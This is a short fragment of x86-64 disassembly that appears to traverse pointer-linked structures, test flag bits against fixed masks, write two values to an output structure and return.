mov r8, qword [rax + rcx + 8]
mov rdx, r15
jmp 0x4fc88c
add rdx, 0x10
mov rdx, qword [rdx]
test rdx, rdx
je 0x4fc8ba
mov eax, dword [rdx + 4]
mov ecx, eax
not ecx
or ecx, 0xfff7dfff
cmp ecx, 0xffffffff
je 0x4fc8db
mov ecx, eax
xor ecx, 0xfff7ffff
test ecx, eax
je 0x4fc880
mov rdx, qword [rdx + 0x20]
add rdx, 8
mov rdx, qword [rdx]
test rdx, rdx
jne 0x4fc88c
xor edx, edx
test r8, r8
jne 0x4fc8e4
jmp 0x4fc830
mov r8, qword [r8 + 0x20]
add r8, 8
mov r8, qword [r8]
test r8, r8
je 0x4fc830
mov eax, dword [r8 + 4]
not eax
mov ecx, eax
or ecx, 0xfff7dfff
cmp ecx, 0xffffffff
je 0x4fc833
or eax, 0xfff7ffff
cmp eax, 0xffffffff
jne 0x4fc8d0
add r8, 0x10
mov r8, qword [r8]
test r8, r8
jne 0x4fc8e4
jmp 0x4fc830
mov dword [r14], ebx
mov dword [r14 + 4], 0xfffffffe
mov eax, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
xor eax, eax
jmp 0x4fc926